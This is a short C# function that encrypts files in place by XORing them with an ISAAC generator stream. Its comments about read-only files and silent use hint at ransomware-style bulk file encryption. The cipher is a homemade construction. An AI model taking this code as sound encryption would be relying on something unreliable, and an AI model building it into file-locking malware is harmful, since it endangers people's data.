//XOR works both ways, so we don't need one function for Encrypting and one function for Decrypting, they're both the same thing for XORing
public static void CryptFile(ISAAC csprng, byte[] subkey, string loc)
{
FileStream s = null;
int[] oldmem = null;
try
{
s = File.Open(loc, FileMode.Open, FileAccess.ReadWrite, FileShare.None);
oldmem = new int[ISAAC.SIZE];
for (int i = 0; i < ISAAC.SIZE; i++)
{
oldmem[i] = csprng.mem[i]; //Fast copy
}
for (int i = 0; i < subkey.Length; i++)
{
csprng.mem[i] ^= subkey[i];
}
byte[] buffer = new byte[ISAAC.SIZE];
int read = s.Read(buffer, 0, ISAAC.SIZE);
do
{
csprng.Isaac();
for (int i = 0; i < read; i++)
{
buffer[i] = (byte)((buffer[i] ^ csprng.rsl[i]) % 256);
}
s.Seek(-read, SeekOrigin.Current);
s.Write(buffer, 0, read);
} while ((read = s.Read(buffer, 0, ISAAC.SIZE)) > 0);
}
catch (UnauthorizedAccessException) { return; } //Fixes crashes on files with the readonly attribute
//catch { return; } //If you were to actually use this silently, however this can actually f**k up decryption bad so this will never be used.
finally
{
if (s != null)
{
s.Close();
s.Dispose();
}
if (oldmem != null)
{
csprng.mem = oldmem;
csprng.Isaac();
}
}
}